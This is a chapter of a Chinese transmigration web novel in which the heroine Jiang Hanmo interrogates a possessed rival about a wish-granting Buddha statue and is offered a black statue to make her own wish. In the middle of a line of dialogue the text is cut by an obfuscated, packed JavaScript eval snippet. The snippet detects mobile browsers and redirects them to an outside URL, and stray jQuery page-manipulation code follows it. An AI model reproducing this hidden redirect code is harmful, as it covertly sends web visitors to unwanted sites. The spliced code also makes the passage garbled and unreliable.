85. 第八十三章 梵天城(三十四)
作品:《我拿的不是养成剧本吗?[穿书]》 地牢内的战斗结束得比预想中更快,但结果却令人大跌眼镜。
沈宵的剑将樊厉整个人钉在了墙上,而“叶霜”瘫坐在地面上。她抬头看着持剑而立的江含墨,脸上却没有多少失败的绝望,反而扯出一个笑容,声音嘶哑:“果然有两下子...是我小看你了。”
她话锋一转,带着毫不掩饰的威胁:“但你以为,这就结束了吗?地面上......酒楼外面,守着的可不止城主府的废物。还有玄天宗和世家......”
她试图从江含墨脸上找到惊慌,却见对方只是挑了挑眉,一副“果然如此”的表情。江含墨早就猜到这些玄天宗弟子不会轻易离开,所以...
她也请了外援。
就在这时——
砰!咕噜噜!
通往地面的狭窄楼梯口,传来重物滚落的闷响和木质断裂的声音!两道人影如同破麻袋般被人从上面毫不留情地扔了下来,重重摔在众人面前的地上,激起一片尘土。
正是那日的宗门大师兄和他师父,身上尽是血迹,气息奄奄。
正在众人猜测是哪位高手竟能将这二人搞成这幅样子时,一道瘦削的身影逆光而立,缓缓走下。不见其貌,不闻其声,但那种压迫感仿佛凝成实质。
她脚步很轻,但每一步都仿佛踩在人心跳的间隙,地牢内的空气随之凝滞。
却不知道怎么回事,那人像是踩到什么东西,一下从台阶上滑倒,面朝下往下滚,最终摔倒在最后一级台阶上。
挣扎着抬起头,露出一张苍白阴郁却难掩清丽的面容,嘴角还带着血丝,眼神里满是怒意——竟是沈秋影。
但当她站定,抬起眼睑的瞬间,一股尸山血海般的实质杀意弥漫开来,那并非修为威压,而是纯粹由无数亡魂哀嚎凝聚的气势。方才的狼狈仿佛幻觉,此刻的她,才是那个令人闻风丧胆的‘煞星’。
这般近距离接触,不只是妖族少女和李华转过头不敢直视,甚至叶霜和樊厉都微微颤抖,往后缩了缩。
“咳咳……你找的这什么破差事!”沈秋影捂着胸口,一边咳嗽一边没好气地抱怨。
江含墨看着她,有点无奈地叹了口气:“师姐,你这出场方式……挺别致啊。”
沈秋影瞪了她一眼,自己爬了起来,拍了拍身上的灰,虽然有些狼狈,但站姿依旧挺直,随口说道:“对了,我来的时候,外面还有咱们宗门弟子吗?只看见些人,鬼鬼祟祟不像好人,顺手就……清理了一下。怎么,那是你的人?”
她语气平淡,但话里的意思却让“叶霜”皱起了眉。
“什么?”不知道是不是叶霜的人失声道,“你不是应该被……”
“应该什么?”
“我最讨厌‘应该’这两个字。”沈秋影冷笑,走到江含墨身边。与她并肩而立,头凑到江含墨耳旁,状似亲密但话里却充满威胁:“你传信说,有办法解决我身上这晦气。我反正也受够了,死马当活马医,就来看看。但你要是敢骗我.....”
她斜睨江含墨,语气危险,“你的下场,可比今天这里所有人都惨。”
江含墨干笑两声:“不敢不敢,师姐放心,办法...肯定是有的。”
但那边“叶霜”却摇摇头,完全无法理解。就算江含墨请了外援,但仍然无法接受自己和樊厉为何会败。
她明明已经让叶霜对着佛像许下了“让他们获得足以压制、擒拿风无痕的力量”的愿望。为何还会败?甚至如此之快,如此彻底?
看着“叶霜”眼中的惊疑和混乱,江含墨似乎猜到了她在想什么,好心地解答她的疑惑。她慢悠悠地从储物袋里掏出一件物什——正是那尊从叶霜卧室暗格取得的、残缺的白色玉像。
玉像在她掌心散发出微弱的、纯净的白色柔光,与阴暗的地牢格格不入。
江含墨将玉像托到叶霜眼前,语气带着一丝恍然,“在奇怪,为什么你的愿望好像没起作用?或者是在找...这个?”
她晃了晃手里的玉像。
“叶霜”似有所感,从怀中取出另一尊佛像,果然,不多时那东西表面泛起一阵不稳定的涟漪,随即灵光迅速黯淡,变得灰扑扑的,显然是个假货。
“太依赖这些道具,可不行呢。”江含墨摇摇头,真品早在当初她发现佛像存在的时候就调包了。话说刚才她之前做小动作的时候还真担心被叶霜看出来,但幸好,就是可惜了她的一张复制符。
至于小芜,那个侍女,那么明显地要跟叶霜撇清关系,真以为她蠢到什么人都相信吗?离开前江含墨特意用幻术为她编造了另一套故事。
“叶霜”的目光死死盯住江含墨手中真正的白色玉像,又猛地转向一直站在战圈边缘、仿佛事不关己的红衣连翘。电光火石间,便明白了一切。
恐怕...连翘,这个她一直以为在自己掌控中的棋子,早已不再受控,甚至可能暗中倒向了江含墨那一方。是她配合江含墨,隐瞒了江含墨的行踪,也误导了自己的判断。
连翘接收到“叶霜”怨毒的目光,依旧笑靥如花,甚至俏皮地眨了眨眼,用实际行动表明了立场。
江含墨轻轻拨开沈宵的剑,注视着气息萎靡的“叶霜”。她的瞳孔散发出金色光芒,指尖凝聚起一点锐利的灵光,轻轻抵在“叶霜”的眉心,“那么,同事”江含墨的声音很轻,后两个字更是只比了比口型,“为了你自己这具化身的‘命’,或者少受点苦头......你能告诉我些什么有用的信息呢?
“叶霜”的身体僵硬了一下,眼神剧烈挣扎。但她最终还是开口,断断续续地吐露出一些信息:
被祈愿的佛像是黑色的,而当祈愿完全实现后,会变回白色。
在祈愿时至少需要6人献祭。
祈愿实现难度越高,需要的祭品越多。
至多可以复活一个人。
......等等。
她说的,大部分是这尊佛像的基本使用规则和限制,但这些只是“叶霜”这个身份知道的东西。
江含墨静静听着,眉头微蹙,似乎在分析这些信息的价值。就在她听完一段,准备继续逼问更深层的秘密——比如“同事”本身的来历、目的,或者如何彻底解决这尊佛像时——
“呵呵呵......”
一阵低哑却清晰的笑声,从“叶霜”喉咙里发出,打断了她未出口的质问。
只见被剑架在脖子上、狼狈不堪的“同事”,竟然又笑了起来。那笑容扭曲而怪异,带着一种让人极其不舒服的兴味,似是完全不关心自己的生死。
“怎么,不满意?这些....不正是你,不正是‘风无痕’想要知道的吗?关于这尊改变了他一家命运的东西......”女人的声音带着深深的恶意。
江含墨的第一反应是,果然还有反转,她已经麻了。同事果然都是不太好相与的。
不过那人好像并不愿意在众人面前与自己相认,不过也挺合理,毕竟跟李华之前的交谈说明域外之人在这里并不受欢迎。
“你以为,杀了现在这具躯壳,”同事的语调陡然拔高,充满了嘲弄与疯狂,“就能终结一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068796|195187||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
切?就能救下这些人?”
脖颈前的剑刃因为她激动的言语而划破了皮肤,渗出暗红色的血丝,但她毫不在意,笑声越发刺耳:“天真!太天真了!只要这尊佛像还在,只要献祭足够的人,我便能借佛像重生,一次又一次,继续这场游戏。”
“那我便毁掉这....”江含墨想要反驳,但话说到一半,她便想到附身在叶霜身上的同事应当也能够使用回溯,毁掉佛像大概率也行不通。
那人见她闭嘴,心中了然,继续说道:“你能救这些人一次,还能救他们千千万万次吗?”
她猛地转头,目光掠过地牢里那些蜷缩的身影,最后又落回江含墨脸上,笑容恶意满满:“对了,你之前给连翘讲的那个故事也挺有意思。不如下次就按你编的来?”
江含墨的心沉了下去。果然是最坏的情况。这个“同事”并非简单地附身于叶霜与使用佛像,本身很可能就是这扭曲愿力的一部分,或者更早便与之形成了某种共生的、难以彻底摧毁的关系。
“你(我)在最初便对这佛像许了愿。”两人几乎是异口同声地说出了这句话。江含墨是冰冷的陈述,“同事”则是带着回味与愉悦的宣告。
“我要的,从来不是某个具体的结果。”“同事”的声音透过叶霜的躯体传来,带着一种非人的空洞与狂热,“而是足够精彩、足够令我满意的故事。看着这些渺小的生灵,在亲情、友情、爱情、贪婪、憎恨、绝望中挣扎、扭曲、沉沦......上演一出出悲欢离合......这才是我留存于此的意义。”
“至于这些......”‘叶霜’的眼神漠然地扫过地牢中的李华、盲眼少女、昏迷的妖族,甚至包括樊厉和沈秋影,“不过是些配角,增添些乐趣,便也算体现了他们存在的价值。”果然是最坏的情况。
明明是挑衅性极强的话语,其他人却像是没听到一般,毫无反应。不对,仔细对比的话,除了江含墨和同事外的所有人都像是静止了一般,但还有呼吸。
“你对他们做了什么?”江含墨有些紧张地发问。
“哈,导演喊cut,他们停下来不是很正常吗”,那人现在倒是不再掩饰自己现代人的身份,发出一声短促的笑,“不过,你不会真对这些NPC产生了什么感情吧。”
表面上是疑惑,但江含墨可以感受到她话语深处的威胁和警告。正在思考如何回答时,“叶霜”的手探入自己怀中,掏出了一件眼熟的东西。
那赫然是另一尊小巧的佛像!
它通体漆黑如墨,仿佛能吸收周围所有的光线,散发出与江含墨手中白色玉像同源却截然相反的、令人心悸的波动。
“叶霜”将这尊黑色佛像,朝江含墨的方向轻轻一抛。
江含墨顺手一接,有些疑惑地看向同事,不解其意。
“那么,现在......”她的声音带着一种诡异的期待,仿佛在献祭,又像是在布置新的舞台,“轮到你来决定了,亲爱的后辈。”
“这个,算是给你的见面礼。”那声音里满是恶趣味的引诱,“拥有它,你就拥有了‘许愿’的资格。告诉我,也告诉他们......”
“面对这样的局面,知晓了这样的规则,你,会许下一个什么样的愿望呢?”
“是拯救这些与你并无太深瓜葛的‘配角’?”
“是彻底摧毁这循环的悲剧?”
“还是......许一个关于你自己的愿望?”
“提示:可以直接许愿退出这个世界哦~”
“我,真的很好奇。”

